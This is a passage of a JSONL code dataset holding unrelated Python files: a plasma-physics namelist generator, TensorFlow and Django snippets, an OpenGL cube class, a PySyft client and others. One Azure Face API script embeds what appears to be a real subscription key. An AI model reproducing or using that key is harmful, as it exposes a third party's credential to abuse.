= [60]\n self.objectlookup = {1:self.wall, 2:self.wall2}\n self.holeslookup = {60:self.hole}\n self.goal = 550\n self.a.positionCheckTask = None\n\n def GROUND(self, obj) :\n if obj.r >100 and obj.r < 250 + 30:\n return 400\n return 500\n\n def gameover(self):\n root = Tk()\n a = Label(root, text='GAMEOVER!', font=(\"Arial\", \"36\", \"bold\"))\n a.grid(row=0, column=0)\n Button(root, text='New Game', command=lambda: restart(root, self.a)).grid(row=1, column=0)\n Button(root, text='Quit', command=lambda: sys.exit(0)).grid(row=1, column=1)\n self.a.after_cancel(self.a.positionCheckTask)\n root.mainloop()\n\n def goal_reached(self):\n root = Tk()\n a = Label(root, text='YOU WIN!', font=(\"Arial\", \"36\", \"bold\"))\n a.grid(row=0, column=0)\n Button(root, text='New Game', command=lambda: restart(root, self.a)).grid(row=1, column=0)\n Button(root, text='Quit', command=lambda: sys.exit(0)).grid(row=1, column=1)\n root.mainloop()\n\n def removeObsticleAt(self, obj, block_obj, window=None):\n self.obsticles.remove(block_obj)\n self.b.delete(self.objectlookup[block_obj['id']])\n window.destroy()\n window.quit()\n obj.moveRight(event = None)\n\n","sub_path":"Background.py","file_name":"Background.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"567661729","text":"import os, shutil\nimport numpy as np\nimport nbi_tr2as, nbi_geo, locate_dir, read_ech, read_nbi\n\nawd = os.getenv('AWD')\nif awd is None:\n awd = locate_dir.locate('.tsk')\nif awd is None:\n awd = locate_dir.locate_rec('.tsk')\n\n\ndef split_line(arr, dims, lbl, fmt='%10.4e'):\n\n tmp = np.cumsum( np.append([0], np.array(dims)) )\n nml = ''\n for jdim in range(len(dims)):\n nml += ' %s(%d) = ' %(lbl, tmp[jdim]+1)\n for jch in range(tmp[jdim], tmp[jdim+1]):\n nml += fmt %arr[jch]\n if jch < tmp[jdim+1] - 1:\n nml += ', '\n else:\n nml += '\\n'\n\n return nml\n\n\ndef spider():\n\n sp_nml = '&spider\\n\\n'\n sp_nml += ' kprs = 0\\n'\n sp_nml += ' k_grids = 0\\n'\n sp_nml += ' epsros = 1.d-9\\n'\n sp_nml += ' enelss = 1.d-7\\n'\n sp_nml += ' key_plcs = 1\\n'\n sp_nml += ' toric_fourc = 11\\n' # TORIC fourc\n sp_nml += ' toric_file = 0\\n'\n sp_nml += ' torba_file = 1\\n'\n sp_nml += ' strahl_file = 0\\n'\n sp_nml += ' eqdsk_file = 1\\n'\n sp_nml += ' strahl_fourc = 4\\n' # STRAHL fourc\n sp_nml += ' write_coils_diagn = 0\\n' # save diagnostic coilc urrents and voltages in a_spidfer\n sp_nml += ' k_filessss = 0\\n' # ?\n sp_nml += '\\n/\\n\\n'\n\n sp_nml += '&spider_settings\\n\\n'\n sp_nml += ' time_fix_eqpff = 0.0021\\n'\n sp_nml += ' fix_eqpf_eqff = 0\\n' # if 1, fix eqpf eqff from file spidat2.dat, this also overrides whatever inume_3\n sp_nml += ' cheb_degree = 5\\n'\n sp_nml += ' spidat_yes = 1\\n'\n sp_nml += ' iter_one_only_fbe = 0\\n'\n sp_nml += ' advanced_methods = 3\\n' #if -1 fix eqpf, eqff\n sp_nml += ' i3method = 3\\n'\n sp_nml += ' diagnostic_gsef = 0\\n'\n sp_nml += ' do_adcmp = 0\\n'\n sp_nml += ' urelax = 0.5\\n'\n sp_nml += ' urelax2 = 0.1\\n'\n sp_nml += ' murelax2 = 0.2\\n'\n sp_nml += ' ydiff = 1.e2\\n'\n sp_nml += ' ydiff2 = 1.\\n'\n sp_nml += ' max_iter = 10000\\n'\n sp_nml += ' miter_ext = 1\\n'\n sp_nml += ' interp_routine = 2\\n'\n sp_nml += ' interp_method_rect = 4\\n'\n sp_nml += ' epsf_tol = 1.e-9\\n'\n sp_nml += ' epss_tol = 1.e-5\\n'\n sp_nml += ' epsv_tol = 1.e-5\\n'\n sp_nml += ' epsg_tol = 1.e-8\\n'\n sp_nml += ' key_no_startz = 0\\n' # if 0, no iterations when key_start =1\t\n sp_nml += ' key_no_refits = 0\\n' # if 0, does not overwrite coil.dat with new coil currents\n sp_nml += '\\n/\\n'\n\n return sp_nml\n \n\ndef nbi_nml(nshot):\n\n nbi = read_nbi.NBI(nshot)\n n_box1 = nbi.n_box[0]\n n_box2 = nbi.n_box[1]\n n_nbi = np.sum(nbi.n_box)\n einj_ev = 1e3*nbi.einj_kev\n\n# R(P):: Distance horizontal beam crossing to - torus axis [cm]\n R0 = np.array(nbi.n_box[0]*[284.2] + n_box2*[329.6], dtype=np.float32)\n\n# PHI: angle between R and box [rad]\n phi_deg = np.array(nbi.n_box[0]*[15.] + n_box2*[18.9], dtype=np.float32)\n phi_rad = np.radians(phi_deg)\n\n# THETA: angle towards P (horizontal beam crossing) [rad]\n theta_deg = np.array(n_box1*[33.75] + n_box2*[29.], dtype=np.float32)\n theta_rad = np.radians(theta_deg)\n theta_rad[4:] += np.pi\n\n# 3 sectors, new coordinate system\n theta_rad -= np.pi/8.*3.\n\n# ALPHA: horizontal angle between Box-axis and source [rad]\n alpha_deg = 4.1357*np.array(2*[1., -1., -1., 1.], dtype=np.float32)\n\n# distance between P0 and Px!\n delta_x = -50.\n\n# BETA = vertical angle between box-axis and source [rad]\n beta_deg = np.array([-4.8991, -4.8991, 4.8991, 4.8991, -4.8991, -6.6555, 6.6555, 4.8991])\n beta_nis_deg = nbi.beta_sf_deg*np.array(2*[-1., -1., 1., 1.], dtype=np.float32)\n print(beta_nis_deg)\n\n# correct beta of Q6\n dbeta6 = 6.65 + beta_nis_deg[5]\n xdbeta = np.array([-1., -0.3, 0., 0.55, 1.], dtype=np.float32)\n ydbeta = np.zeros_like(xdbeta)\n ydbeta[1] = 0.03\n ydbeta[2] = 0.07\n ydbeta[3] = 0.2\n# extrapolation:\n ydbeta[0] = (ydbeta[2] - ydbeta[1])/(xdbeta[2] - xdbeta[1]) * (xdbeta[0] - xdbeta[1]) + ydbeta[1]\n ydbeta[4] = (ydbeta[3] - ydbeta[2])/(xdbeta[3] - xdbeta[2]) * (xdbeta[4] - xdbeta[3]) + ydbeta[3]\n dbeta_corr6_deg = np.interp(dbeta6, xdbeta, ydbeta)\n dbeta_corr6_rad = np.radians(dbeta_corr6_deg)\n \n # correct beta of Q7\n dbeta7 = 6.65 - beta_nis_deg[6]\n xdbeta = np.array([-1., -0.46, 0., 0.53, 1.], dtype=np.float32)\n ydbeta[1] = 0.14\n ydbeta[2] = 0.14\n ydbeta[3] = 0.32\n# extrapolation:\n ydbeta[0] = (ydbeta[2] - ydbeta[1])/(xdbeta[2] - xdbeta[1]) * (xdbeta[0] - xdbeta[1]) + ydbeta[1]\n ydbeta[4] = (ydbeta[3] - ydbeta[2])/(xdbeta[3] - xdbeta[2]) * (xdbeta[4] - xdbeta[3]) + ydbeta[3]\n dbeta_corr7_deg = np.interp(dbeta7, xdbeta, ydbeta)\n dbeta_corr7_rad = np.radians(dbeta_corr7_deg)\n\n alpha_rad = np.radians(alpha_deg)\n beta_rad = np.radians(beta_deg)\n beta_nis_rad = np.radians(beta_nis_deg)\n beta_nis_rad[5] += -dbeta_corr6_rad\n beta_nis_rad[6] += dbeta_corr7_rad\n\n# Ralph's correction\n# move beams different toroidal injection geometry of Q3:\n\n alpha_rad[2] += np.radians(0.4)\n\n theta_rad[4] += np.radians(0.3)\n alpha_rad[4] += np.radians(0.3)\n\n theta_rad[5] += np.radians(-0.4)\n alpha_rad[5] += np.radians(0.65)\n\n theta_rad[6] += np.radians(-0.2)\n alpha_rad[6] += np.radians(0.4)\n\n beta_rad[7] += np.radians(-0.1)\n alpha_rad[7] += np.radians(-0.20)\n\n# get dbeta\n dbeta_rad = beta_nis_rad - beta_rad\n\n# distance center of box and P0\n d_box_P0 = 650.0\n\n# source elevation w.r.t. midplane [cm] estimate\n src_hv = np.tan(beta_rad)*(delta_x - d_box_P0)\n\n# the off-axis rotation axis of NBI Q6 and NBI Q7 is\n# actually not at the source but somewhat distant\n# so calculate the source-position depending on the rotation.\n# the axis of rotation is 45 cm higher than the source axis. \n# consider this by dxr and dyr\n pivot = np.array([0., 0., 0., 0., 0., -45., 45., 0.], dtype=np.float32)\n dz = 95.*np.sin(dbeta_rad) + pivot*(np.cos(dbeta_rad) - 1.)\n dx = 95.*(np.cos(dbeta_rad) - 1.) - pivot*np.sin(dbeta_rad)\n \n# new vertical source positions\n src_hv = src_hv + dz\n \n# also the distance between P0 and the source changes in the\n# horizontal plane!\n d_box_P0 += - np.cos(alpha_rad)*np.cos(dbeta_rad)*dx\n\n# distance source, P0\n# src_hw_homepage=[47., -47., -47., 47., 47., -47., -47., 47.]\n src_hw = np.tan(alpha_rad)*d_box_P0\n\n# Phi_box: angle of the box-axi to the x-axis [rad]\n phi_box_rad = theta_rad - phi_rad\n\n# P0 position as defined on the AUG homepage [cm]\n xyz_P0_cm = np.zeros((n_nbi, 3), dtype=np.float32)\n xyz_P0_cm[:, 0] = R0 * np.cos(theta_rad)\n xyz_P0_cm[:, 1] = R0 * np.sin(theta_rad)\n xyz_P0_cm[:, 2] = src_hv + np.sqrt(d_box_P0**2 + src_hw**2 + src_hv**2)*np.sin(beta_rad)\n\n# position of source in xyz coordinates\n xyz_src_cm = np.zeros_like(xyz_P0_cm)\n dist = np.hypot(d_box_P0, src_hw)\n xyz_src_cm[:, 0] = xyz_P0_cm[:, 0] + dist*np.cos(phi_box_rad + alpha_rad)\n xyz_src_cm[:, 1] = xyz_P0_cm[:, 1] + dist*np.sin(phi_box_rad + alpha_rad)\n xyz_src_cm[:, 2] = src_hv\n# Unit vector\n xyz_vec = xyz_P0_cm - xyz_src_cm\n for jnb in range(n_nbi):\n xyz_vec[jnb, :] /= np.linalg.norm(xyz_vec[jnb])\n\n xyz_src_m = 0.01*xyz_src_cm\n\n# RABBIT\n\n rb_nml = '&rabbit_beam_geo\\n\\n'\n\n for jnb in range(n_nbi):\n rb_nml += ' start_pos(1:3, %d) =' %(jnb+1)\n rb_nml += '%11.7f,%11.7f,%11.7f\\n' %(xyz_src_m[jnb, 0], xyz_src_m[jnb, 1], xyz_src_m[jnb, 2])\n rb_nml += '\\n'\n for jnb in range(n_nbi):\n rb_nml += ' unit_vec(1:3, %d) =' %(jnb+1)\n rb_nml += '%11.7f,%11.7f,%11.7f\\n' %(xyz_vec[jnb, 0], xyz_vec[jnb, 1], xyz_vec[jnb, 2])\n rb_nml += '\\n'\n\n rb_nml += ' width_poly(1:3, 1) = 0.0000000, 0.0098729131, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 2) = 0.0000000, 0.0098729131, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 3) = 0.0000000, 0.0098729131, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 4) = 0.0000000, 0.0098729131, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 5) = 0.0000000, 0.0116500000, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 6) = 0.0000000, 0.0116500000, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 7) = 0.0000000, 0.0116500000, 0.0000000\\n'\n rb_nml += ' width_poly(1:3, 8) = 0.0000000, 0.0116500000, 0.0000000\\n'\n\n rb_nml += '\\n/\\n\\n'\n\n rb_nml += '&partmix\\n\\n'\n\n for jnb in range(n_nbi):\n rb_nml += ' part_mix(1:3, %d) =' %(jnb+1)\n rb_nml += '%11.7f,%11.7f,%11.7f\\n' %(nbi.part_mix[jnb, 0], nbi.part_mix[jnb, 1], nbi.part_mix[jnb, 2])\n rb_nml += '\\n/\\n\\n'\n\n rb_nml += '&nbi_par\\n\\n'\n rb_nml += ' n_nbi = %d\\n' %n_nbi\n rb_nml += ' a_beam = '\n for jnb in range(n_nbi-1):\n rb_nml += ' %2.1f,' %nbi.abeam[jnb]\n rb_nml += ' %2.1f\\n' %nbi.abeam[-1]\n rb_nml += ' z_beam = '\n for jnb in range(n_nbi-1):\n rb_nml += ' %2.1f,' %nbi.zbeam[jnb]\n rb_nml += ' %2.1f\\n' %nbi.zbeam[-1]\n rb_nml += \" pinj_file = '%s/udb/%d/P%d.NBI'\\n\" %(awd, nshot, nshot)\n rb_nml += split_line(einj_ev, [n_box1, n_box2], 'einj', fmt='%10.4e')\n rb_nml += '\\n/\\n\\n'\n\n rb_nml += '&species\\n'\n rb_nml += ' Aimp = 200.00\\n'\n rb_nml += ' Zimp = 100.00\\n'\n rb_nml +='/\\n\\n'\n rb_nml += '&output_settings\\n'\n rb_nml += ' it_orbout = -1\\n'\n rb_nml += '/\\n\\n'\n rb_nml += '&physics\\n'\n rb_nml += ' jumpcor=2\\n'\n rb_nml += \" table_path = '/afs/ipp/home/m/markusw/adas/idl/geiger_janev/tables_highRes'\\n\"\n rb_nml += '/\\n\\n'\n\n rb_nml += '&numerics\\n'\n rb_nml += ' norbits=20\\n'\n rb_nml += '/\\n'\n\n# NBINJ\n\n nb_nml = '&nbinj_par\\n\\n'\n for jnb in range(n_nbi):\n nb_nml += ' power_mix(1:3, %d) =' %(jnb+1)\n nb_nml += '%11.7f,%11.7f,%11.7f\\n' %(nbi.power_mix[jnb, 0], nbi.power_mix[jnb, 1], nbi.power_mix[jnb, 2])\n nb_nml += '\\n'\n nb_nml += split_line(n_nbi*[0] , [n_box1, n_box2], 'CONTR', fmt='%5.2f')\n nb_nml += split_line(n_nbi*[1] , [n_box1, n_box2], 'CBMS1', fmt='%5.2f') # orb_av\n nb_nml += split_line(n_nbi*[81], [n_box1, n_box2], 'CBMS2', fmt='%5.2f') # penc_num\n\n aug = nbi_geo.AUG_TR(nbi=nbi)\n deltaR = [0.25, 0.35, 0.35, 0.25, 0.62, 0.58, 0.58, 0.62]\n aspect = 1.\n\n rbtmin, rbtmax, hbeam, tgA = nbi_tr2as.tr2as(aug.rtcena, aug.xybsca, aug.xlbtna, \\\n aug.xybapa, aug.xlbapa, deltaR)\n nb_nml += split_line(hbeam , [n_box1, n_box2], 'HBEAM' , fmt='%10.7f')\n nb_nml += split_line(rbtmax, [n_box1, n_box2], 'rb_max', fmt='%10.7f')\n nb_nml += split_line(rbtmin, [n_box1, n_box2], 'rb_min', fmt='%10.7f')\n nb_nml += split_line(tgA , [n_box1, n_box2], 'CBMS3' , fmt='%10.7f') # tan(alpha)\n nb_nml += split_line(n_nbi*[aspect], [n_box1, n_box2], 'CBMS4', fmt='%10.7f') # Aspect\n nb_nml += split_line(n_nbi*[4], [n_box1, n_box2], 'CBMH1', fmt='%5.2f')\n nb_nml += split_line(n_nbi*[2], [n_box1, n_box2], 'CBMH2', fmt='%5.2f')\n nb_nml += split_line(n_nbi*[4], [n_box1, n_box2], 'CBMR1', fmt='%5.2f')\n nb_nml += split_line(n_nbi*[2], [n_box1, n_box2], 'CBMR2', fmt='%5.2f')\n\n nb_nml += '\\n/\\n'\n\n return rb_nml, nb_nml\n\n\ndef torbeam_nml(nshot):\n\n# ECN signals for theta, phi, freq from shot 23187\n# ECRH3 from shot 33725\n\n ech = read_ech.ECRH(nshot)\n\n if not hasattr(ech, 'p_ecs'):\n return\n\n ngy = np.sum(ech.n_gy)\n\n# Parameter output: TORBEAM piece of namelist\n\n if hasattr(ech, 'freq'):\n\n nmod = -1 # -1 X-mode, 1 O-mode\n\n tb_nml = '&torbeam\\n\\n'\n tb_nml += ' n_gyro = %d\\n' %ngy\n tb_nml += \" pecr_file = '%s/udb/%d/P%d.ECH'\\n\" %(awd, nshot, nshot)\n tb_nml += \" theta_file = '%s/udb/%d/THE%d.ECH'\\n\" %(awd, nshot, nshot)\n tb_nml += \" phi_file = '%s/udb/%d/PHI%d.ECH'\\n\" %(awd, nshot, nshot)\n tb_nml += ' beam_on = '\n for jgy in range(ngy):\n tb_nml += str(ech.gy_on[jgy])[0] # 'T' or 'F'\n if jgy < ngy-1:\n tb_nml += ', '\n else:\n tb_nml += '\\n'\n\n nmod_str = '%d, ' %nmod \n tb_nml += ' nmod = ' + (ngy - 1)*nmod_str + ' %d\\n' %nmod\n\n tb_nml += split_line(ech.freq , ech.n_gy, 'freq_n' , fmt='%10.4e')\n tb_nml += split_line(ech.phi_ps, ech.n_gy, 'phi_n' , fmt='%10.4e')\n tb_nml += split_line(ech.the_ps, ech.n_gy, 'theta_n', fmt='%10.4e')\n\n for key, arr in ech.tb_par.items():\n print(key)\n tb_nml += split_line(arr, ech.n_gy, key, fmt='%10.4e')\n\n tb_nml += '\\n/\\n'\n\n return tb_nml\n\n\n# Write fortran namelist\n\ndef astra_nml(nshot):\n\n rbnml, nbnml = nbi_nml(nshot)\n nml_dir = '%s/exp/nml' %awd\n os.system('mkdir -p %s' %nml_dir)\n\n fnml = '%s/aug%d' %(nml_dir, nshot)\n if os.path.isfile(fnml):\n backup = fnml+ '~'\n print('cp %s %s' %(fnml, backup))\n shutil.copy2(fnml, backup)\n\n f = open(fnml, 'w')\n f.write(rbnml)\n f.write('\\n')\n f.write(nbnml)\n f.write('\\n')\n f.write(torbeam_nml(nshot))\n f.write('\\n')\n f.write(spider())\n f.close()\n if 'backup' in locals():\n print('cp %s %s' %(fnml, backup))\n print('Stored %s' %fnml)\n\n\n\nif __name__ == '__main__':\n\n import sys\n if len(sys.argv) > 1:\n nshot = int(sys.argv[1])\n else:\n nshot = 29555\n astra_nml(nshot)\n","sub_path":"astra_nml.py","file_name":"astra_nml.py","file_ext":"py","file_size_in_byte":13211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"491698817","text":"import tensorflow as tf\r\nimport numpy as np\r\n\r\nfrom os import system\r\n\r\ntimesteps = 5\r\nnum_inputs = 2\r\nnum_outputs = 4\r\nbatch_size = 1\r\n\r\ntf_x = tf.placeholder(tf.float32, [None, timesteps, num_inputs])\r\nL = tf.keras.layers.LSTM(\r\n units=num_outputs,\r\n return_state=True,\r\n return_sequences=True\r\n)\r\ntf_y, tf_h, tf_c = L(tf_x)\r\n\r\nwith tf.Session() as s:\r\n x = np.array([[\r\n [.0, .0],\r\n [.3, .1],\r\n [.0, .0],\r\n [.0, .0],\r\n [.1, .0]\r\n ]])\r\n h = np.array([[.0, .0, .1, .0]])\r\n c = np.array([[.0, .1, .0, .0]])\r\n\r\n s.run(tf.global_variables_initializer())\r\n while input('continue? (y/n)') == 'y':\r\n L.states[0] = h #these assignment operations\r\n L.states[1] = c #don't do anything\r\n #I can still take advantage of tensorflow's\r\n #gpu usage, but I will have to write my own\r\n #LSTM network\r\n\r\n y, h, c = s.run(\r\n [tf_y, tf_h, tf_c],\r\n feed_dict={\r\n tf_x: x\r\n })\r\n\r\n #system('cls')\r\n for v in ['y[0][0]', 'y[0][4]', 'h[0]', 'c[0]']:\r\n print('- ' * 32)\r\n print(v + ':')\r\n print(eval(v))","sub_path":"lab/tf8.py","file_name":"tf8.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"548641066","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('scrape', '0017_auto_20141223_1933'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Team',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('team_id', models.IntegerField()),\n ('name', models.CharField(max_length=180)),\n ('trades', models.IntegerField(default=0)),\n ('acquisitions', models.IntegerField(default=0)),\n ('wins', models.IntegerField(default=0)),\n ('losses', models.IntegerField(default=0)),\n ('draws', models.IntegerField(default=0)),\n ('division', models.ForeignKey(default=1, blank=True, to='scrape.Division')),\n ('league', models.ForeignKey(to='scrape.League', blank=True)),\n ('owner', models.ForeignKey(to='scrape.Owner', blank=True)),\n ('season', models.ForeignKey(to='scrape.Season', blank=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.RemoveField(\n model_name='fantasyteam',\n name='division',\n ),\n migrations.RemoveField(\n model_name='fantasyteam',\n name='league',\n ),\n migrations.RemoveField(\n model_name='fantasyteam',\n name='owner',\n ),\n migrations.RemoveField(\n model_name='fantasyteam',\n name='season',\n ),\n migrations.AlterField(\n model_name='draftpick',\n name='team',\n field=models.ForeignKey(to='scrape.Team'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='lineup',\n name='team',\n field=models.ForeignKey(to='scrape.Team'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='matchup',\n name='away_team',\n field=models.ForeignKey(related_name='away_matchups', to='scrape.Team'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='matchup',\n name='home_team',\n field=models.ForeignKey(related_name='home_matchups', to='scrape.Team'),\n preserve_default=True,\n ),\n migrations.DeleteModel(\n name='FantasyTeam',\n ),\n ]\n","sub_path":"scrape/migrations/0018_auto_20141223_1934.py","file_name":"0018_auto_20141223_1934.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"417346763","text":"import tkinter as tk\nimport requests\n\nsubscription_key = \"17026dde24924755a51598f003a09946\"\nface_api_url = \"\"\n\nroot = tk.Tk()\nroot.geometry(\"600x600\")\n\ndef createPersonGroup(e):\n personGroupId = entry1.get()\n Request_URL = \"https://westus.api.cognitive.microsoft.com/face/v1.0/persongroups/\" + personGroupId\n \n Request_headers = {\n \"Content-Type\": \"application/json\",\n \"Ocp-Apim-Subscription-Key\": subscription_key,\n }\n\n Request_params = {\"personGroupId\": personGroupId}\n\n Request_body = {\n #ここではpersonGroupIdと作成するpersonGroupの表示名を同一にした\n \"name\": personGroupId,\n \"userData\": \"user-provided data attached to the person group\",\n }\n\n #なぜここがpostではなくputなのか?\n #putはRequest_URLがなかった場合、新規作成する。\n #Request_URLのpersonGroupIDはまだ作成されていないため、ここではput\n r = requests.put(Request_URL, headers=Request_headers, params=Request_params, json=Request_body)\n #rが空なら\n print(\"{}←200なら作成完了\".format(r))\n\nbutton1 = tk.Button(root, text=\"Create Person Group\")\nbutton1.place(x=10, y=20, width=150, height=30)\nbutton1.bind(\"\", createPersonGroup)\n\nentry1 = tk.Entry(root, font=(\"\",12), justify=\"left\")\nentry1.place(x=160, y=20, width=150, height=30)\n\nroot.mainloop()\n","sub_path":"PersonGroup-Create.py","file_name":"PersonGroup-Create.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"495713515","text":"from OpenGL.GL import *\n\nfrom game.static.values.constants import vertices, colors\n\n\nclass Cube():\n\n def __init__(self, id, size, scale):\n self.size = size\n self.scale = scale\n self.start_pos = [*id]\n self.pos = [*id]\n self.rotating = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]\n\n def is_affected(self, axle, piece):\n b_check = self.pos[axle] == piece\n return b_check\n\n def updating(self, axle, piece, direction):\n\n if not self.is_affected(axle, piece):\n return None\n\n i_temp = axle + 1\n j_temp = axle + 2\n i, j = i_temp % 3, j_temp % 3\n print(i, j)\n for k in range(3):\n self.rotating[k][j], self.rotating[k][i] = self.rotating[k][i] * direction, -self.rotating[k][j] * direction\n\n self.pos[i], self.pos[j] = (\n self.pos[j] if direction < 0 else self.size - 1 - self.pos[j],\n self.pos[i] if direction > 0 else self.size - 1 - self.pos[i])\n\n print(self.rotating)\n\n def transform_matrix(self):\n T = [(l - (self.size - 1) / 2) * 2.08 * self.scale for l in self.pos]\n A = [[k * self.scale for k in l] for l in self.rotating]\n return [*A[0],\n 0,\n *A[1],\n 0,\n *A[2],\n 0,\n *T,\n 1]\n\n def draw(self, colors, surface, vertices, animate, corner, axle, piece, direction):\n\n glPushMatrix()\n if animate and self.is_affected(axle, piece):\n glRotatef(corner * direction, *[1 if i == axle else 0 for i in range(3)])\n glMultMatrixf(self.transform_matrix())\n\n glBegin(GL_QUADS)\n for i in range(len(surface)):\n glColor3fv(colors[i])\n for j in surface[i]:\n glVertex3fv(vertices[j])\n glEnd()\n\n glPopMatrix()\n","sub_path":"game/object/cube.py","file_name":"cube.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"52624650","text":"from .base_options import BaseOptions\n\n\nclass TestOptions(BaseOptions):\n \"\"\"This class includes test options.\n It also includes shared options defined in BaseOptions.\n \"\"\"\n\n def initialize(self, parser):\n parser = super(TestOptions, self).initialize(parser) # define shared options\n\n # ========================= Split Configs ==========================\n parser.add_argument('--split_dir', type=str, required=True, help='Path to split directory where split files are')\n parser.add_argument('--test_size', type=float, default=0.1, help='# of test examples.')\n parser.add_argument('--results_dir', type=str, default='./results/', help='saves results here.')\n parser.add_argument('--phase', type=str, default='test', help='train, val, test, etc')\n \n # Dropout and Batchnorm has different behavioir during training and test.\n parser.add_argument('--eval_mode', action='store_true', help='use eval mode during test time.')\n\n self.isTrain = False\n return parser","sub_path":"core/options/test_options.py","file_name":"test_options.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"153114251","text":"\n\n#calss header\nclass _INVERSION():\n\tdef __init__(self,): \n\t\tself.name = \"INVERSION\"\n\t\tself.definitions = [u'a situation in which something is changed so that it is the opposite of what it was before, or in which something is turned upside down: ', u'a situation in which an organ, or part of an organ, is turned inside out']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_inversion.py","file_name":"_inversion.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"486040894","text":"def up(triangle):\r\n a,b,c = triangle\r\n return tuple(sorted([a - 2*b +2*c, 2*a - b + 2*c, 2*a - 2*b + 3*c]))\r\n\r\ndef down(triangle):\r\n a,b,c = triangle\r\n return tuple(sorted([-a + 2*b +2*c, -2*a + b + 2*c, -2*a + 2*b + 3*c]))\r\n\r\n\r\ntriangle = [(3,4,5)]\r\n\r\n#possilbe based triangles sizes\r\ntriangle.append(up((3,4,5)))\r\ntriangle.append(up((5,12,13)))\r\ntriangle.append(down((3,4,5)))\r\ntriangle.append(down((5,12,13)))\r\n\r\n\r\n\r\nprint(triangle)\r\n\r\n\"\"\"\r\na = 0\r\nfor i in triangle:\r\n print(triangle[a])\r\n a += 1\r\n\"\"\"","sub_path":"COSC_1306/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"96694497","text":"# stdlib\nimport logging\nimport time\nfrom typing import Any\nfrom typing import Dict\nfrom typing import Dict as TypeDict\nfrom typing import List\nfrom typing import Optional\nfrom typing import Type\nfrom typing import Union\n\n# third party\nfrom nacl.signing import SigningKey\nfrom nacl.signing import VerifyKey\nimport names\nimport pandas as pd\nfrom pandas import DataFrame\n\n# syft absolute\nfrom syft import deserialize\n\n# relative\nfrom ....core.common.serde.serialize import _serialize as serialize # noqa: F401\nfrom ....core.io.location.specific import SpecificLocation\nfrom ....core.node.common.action.exception_action import ExceptionMessage\nfrom ....core.pointer.pointer import Pointer\nfrom ....logger import traceback_and_raise\nfrom ....util import validate_field\nfrom ...common.message import SyftMessage\nfrom ...common.uid import UID\nfrom ...io.address import Address\nfrom ...io.location import Location\nfrom ...io.route import Route\nfrom ..common.client import Client\nfrom ..common.client_manager.association_api import AssociationRequestAPI\nfrom ..common.client_manager.dataset_api import DatasetRequestAPI\nfrom ..common.client_manager.group_api import GroupRequestAPI\nfrom ..common.client_manager.role_api import RoleRequestAPI\nfrom ..common.client_manager.user_api import UserRequestAPI\nfrom ..common.node_service.network_search.network_search_messages import (\n NetworkSearchMessage,\n)\nfrom ..common.node_service.node_setup.node_setup_messages import GetSetUpMessage\nfrom ..common.node_service.object_transfer.object_transfer_messages import (\n LoadObjectMessage,\n)\nfrom ..common.node_service.request_receiver.request_receiver_messages import (\n RequestMessage,\n)\nfrom .enums import PyGridClientEnums\nfrom .enums import RequestAPIFields\n\n\nclass RequestQueueClient:\n def __init__(self, client: Client) -> None:\n self.client = client\n self.handlers = RequestHandlerQueueClient(client=client)\n\n self.groups = GroupRequestAPI(client=self)\n self.users = UserRequestAPI(client=self)\n self.roles = RoleRequestAPI(client=self)\n self.association = AssociationRequestAPI(client=self)\n self.datasets = DatasetRequestAPI(client=self)\n\n @property\n def requests(self) -> List[RequestMessage]:\n\n # syft absolute\n from syft.core.node.common.node_service.get_all_requests.get_all_requests_messages import (\n GetAllRequestsMessage,\n )\n\n msg = GetAllRequestsMessage(\n address=self.client.address, reply_to=self.client.address\n )\n\n blob = serialize(msg, to_bytes=True)\n msg = deserialize(blob, from_bytes=True)\n\n requests = self.client.send_immediate_msg_with_reply(msg=msg).requests # type: ignore\n\n for request in requests:\n request.gc_enabled = False\n request.owner_client_if_available = self.client\n\n return requests\n\n def get_request_id_from_object_id(self, object_id: UID) -> Optional[UID]:\n for req in self.requests:\n if req.object_id == object_id:\n return req.request_id\n\n return object_id\n\n def __getitem__(self, key: Union[str, int]) -> RequestMessage:\n if isinstance(key, str):\n for request in self.requests:\n if key == str(request.id.value):\n return request\n traceback_and_raise(\n KeyError(\"No such request found for string id:\" + str(key))\n )\n if isinstance(key, int):\n return self.requests[key]\n else:\n traceback_and_raise(KeyError(\"Please pass in a string or int key\"))\n\n raise Exception(\"should not get 